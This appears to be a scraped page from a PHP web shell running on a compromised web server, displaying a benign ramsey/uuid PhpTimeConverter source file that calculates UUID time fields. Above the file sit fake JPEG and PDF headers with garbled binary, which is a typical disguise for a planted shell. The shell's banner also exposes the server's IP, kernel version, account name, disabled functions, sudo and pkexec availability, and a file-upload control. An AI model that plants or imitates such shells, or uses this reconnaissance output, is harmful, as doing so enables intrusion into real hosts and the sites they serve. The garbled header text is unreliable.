ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/vendor/ramsey/uuid/src/Converter/Time/ |
Upload File : |
<?php /** * This file is part of the ramsey/uuid library * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. * * @copyright Copyright (c) Ben Ramsey <ben@benramsey.com> * @license http://opensource.org/licenses/MIT MIT * @link https://benramsey.com/projects/ramsey-uuid/ Documentation * @link https://packagist.org/packages/ramsey/uuid Packagist * @link https://github.com/ramsey/uuid GitHub */ namespace Ramsey\Uuid\Converter\Time; use Ramsey\Uuid\Converter\TimeConverterInterface; /** * PhpTimeConverter uses built-in PHP functions and standard math operations * available to the PHP programming language to provide facilities for * converting parts of time into representations that may be used in UUIDs */ class PhpTimeConverter implements TimeConverterInterface { /** * Uses the provided seconds and micro-seconds to calculate the time_low, * time_mid, and time_high fields used by RFC 4122 version 1 UUIDs * * @param string $seconds * @param string $microSeconds * @return string[] An array containing `low`, `mid`, and `high` keys * @link http://tools.ietf.org/html/rfc4122#section-4.2.2 */ public function calculateTime($seconds, $microSeconds) { // 0x01b21dd213814000 is the number of 100-ns intervals between the // UUID epoch 1582-10-15 00:00:00 and the Unix epoch 1970-01-01 00:00:00. $uuidTime = ($seconds * 10000000) + ($microSeconds * 10) + 0x01b21dd213814000; return array( 'low' => sprintf('%08x', $uuidTime & 0xffffffff), 'mid' => sprintf('%04x', ($uuidTime >> 32) & 0xffff), 'hi' => sprintf('%04x', ($uuidTime >> 48) & 0x0fff), ); } }